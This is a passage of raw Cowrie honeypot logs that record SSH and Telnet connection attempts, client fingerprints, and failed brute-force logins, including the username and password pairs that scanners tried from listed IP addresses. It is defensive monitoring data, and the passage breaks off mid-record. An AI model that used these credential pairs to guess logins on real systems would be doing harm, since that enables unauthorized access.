{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:22.935568Z","src_ip":"165.232.38.41","session":"e8a8b29ecb4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.099082708358765,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:27.165528Z","src_ip":"170.64.224.25","session":"b967d70785de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":43746,"dst_ip":"10.17.0.5","dst_port":22,"session":"939830d626df","protocol":"ssh","message":"New connection: 143.20.185.207:43746 (10.17.0.5:22) [session: 939830d626df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:29.696787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:29.750034Z","src_ip":"143.20.185.207","session":"939830d626df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:29.820009Z","src_ip":"143.20.185.207","session":"939830d626df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZVPS8VCPU16GBAMD","message":"login attempt [root/XYZZVPS8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:30.349909Z","src_ip":"143.20.185.207","session":"939830d626df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:31.571821Z","src_ip":"143.20.185.207","session":"939830d626df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":53416,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1c02db24db6","protocol":"ssh","message":"New connection: 146.190.154.85:53416 (159.203.135.109:22) [session: e1c02db24db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:39.159698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:39.163201Z","src_ip":"146.190.154.85","session":"e1c02db24db6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:39.226333Z","src_ip":"146.190.154.85","session":"e1c02db24db6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":18276,"dst_ip":"10.17.0.5","dst_port":22,"session":"378ee4110db1","protocol":"ssh","message":"New connection: 38.93.206.2:18276 (10.17.0.5:22) [session: 378ee4110db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:39.291040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:39.294512Z","src_ip":"38.93.206.2","session":"378ee4110db1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:39.343987Z","src_ip":"38.93.206.2","session":"378ee4110db1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3030","message":"login attempt [root/3030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:39.496045Z","src_ip":"38.93.206.2","session":"378ee4110db1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bh","password":"bh","message":"login attempt [bh/bh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:39.515328Z","src_ip":"146.190.154.85","session":"e1c02db24db6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:40.548521Z","src_ip":"38.93.206.2","session":"378ee4110db1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:40.580741Z","src_ip":"146.190.154.85","session":"e1c02db24db6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":50298,"dst_ip":"159.203.135.109","dst_port":22,"session":"f93d0e049175","protocol":"ssh","message":"New connection: 159.65.58.200:50298 (159.203.135.109:22) [session: f93d0e049175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:49.491675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:49.799955Z","src_ip":"159.65.58.200","session":"f93d0e049175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:49.803226Z","src_ip":"159.65.58.200","session":"f93d0e049175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smbat","password":"123456","message":"login attempt [smbat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:50.990773Z","src_ip":"159.65.58.200","session":"f93d0e049175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:52.232290Z","src_ip":"159.65.58.200","session":"f93d0e049175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40976,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad1c0d32233b","protocol":"telnet","message":"New connection: 170.64.224.25:40976 (159.203.135.109:23) [session: ad1c0d32233b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:58.960285Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.18.100","src_port":42326,"dst_ip":"10.17.0.5","dst_port":22,"session":"50daaa2e5442","protocol":"ssh","message":"New connection: 206.189.18.100:42326 (10.17.0.5:22) [session: 50daaa2e5442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:00.605097Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:00.682698Z","src_ip":"206.189.18.100","session":"50daaa2e5442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.7408881187439,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:01.401977Z","src_ip":"170.64.224.25","session":"b9e935404f38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.10.113.211","src_port":53511,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca53e50cc9fc","protocol":"telnet","message":"New connection: 37.10.113.211:53511 (159.203.135.109:23) [session: ca53e50cc9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:06.105984Z"}
{"eventid":"cowrie.session.closed","duration":0.14240264892578125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:06.248240Z","src_ip":"37.10.113.211","session":"ca53e50cc9fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":58668,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1a909e54b77","protocol":"ssh","message":"New connection: 182.93.7.194:58668 (159.203.135.109:22) [session: f1a909e54b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:09.922571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:09.926647Z","src_ip":"182.93.7.194","session":"f1a909e54b77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:10.145172Z","src_ip":"182.93.7.194","session":"f1a909e54b77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trustees","password":"trustees123","message":"login attempt [trustees/trustees123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:11.053282Z","src_ip":"182.93.7.194","session":"f1a909e54b77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.206.182.204","src_port":5140,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ad496547655","protocol":"telnet","message":"New connection: 195.206.182.204:5140 (159.203.135.109:23) [session: 8ad496547655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:11.915592Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:12.273703Z","src_ip":"182.93.7.194","session":"f1a909e54b77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.202.129","src_port":35732,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bf6854ba3cf","protocol":"ssh","message":"New connection: 192.169.202.129:35732 (10.17.0.5:22) [session: 3bf6854ba3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:15.866748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:15.873232Z","src_ip":"192.169.202.129","session":"3bf6854ba3cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:15.938064Z","src_ip":"192.169.202.129","session":"3bf6854ba3cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel_larimer","password":"daniel123","message":"login attempt [daniel_larimer/daniel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:16.133911Z","src_ip":"192.169.202.129","session":"3bf6854ba3cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:17.201616Z","src_ip":"192.169.202.129","session":"3bf6854ba3cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.000183582305908,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:21.915683Z","src_ip":"195.206.182.204","session":"8ad496547655","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.18.197.35","src_port":34294,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec342d0742e7","protocol":"ssh","message":"New connection: 154.18.197.35:34294 (159.203.135.109:22) [session: ec342d0742e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:24.054626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:24.058068Z","src_ip":"154.18.197.35","session":"ec342d0742e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:24.279412Z","src_ip":"154.18.197.35","session":"ec342d0742e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass12345","message":"login attempt [root/pass12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:25.199953Z","src_ip":"154.18.197.35","session":"ec342d0742e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:26.423860Z","src_ip":"154.18.197.35","session":"ec342d0742e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":33758,"dst_ip":"10.17.0.5","dst_port":22,"session":"05fdb02d7e30","protocol":"ssh","message":"New connection: 91.92.40.4:33758 (10.17.0.5:22) [session: 05fdb02d7e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:38.717847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:38.730446Z","src_ip":"91.92.40.4","session":"05fdb02d7e30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-n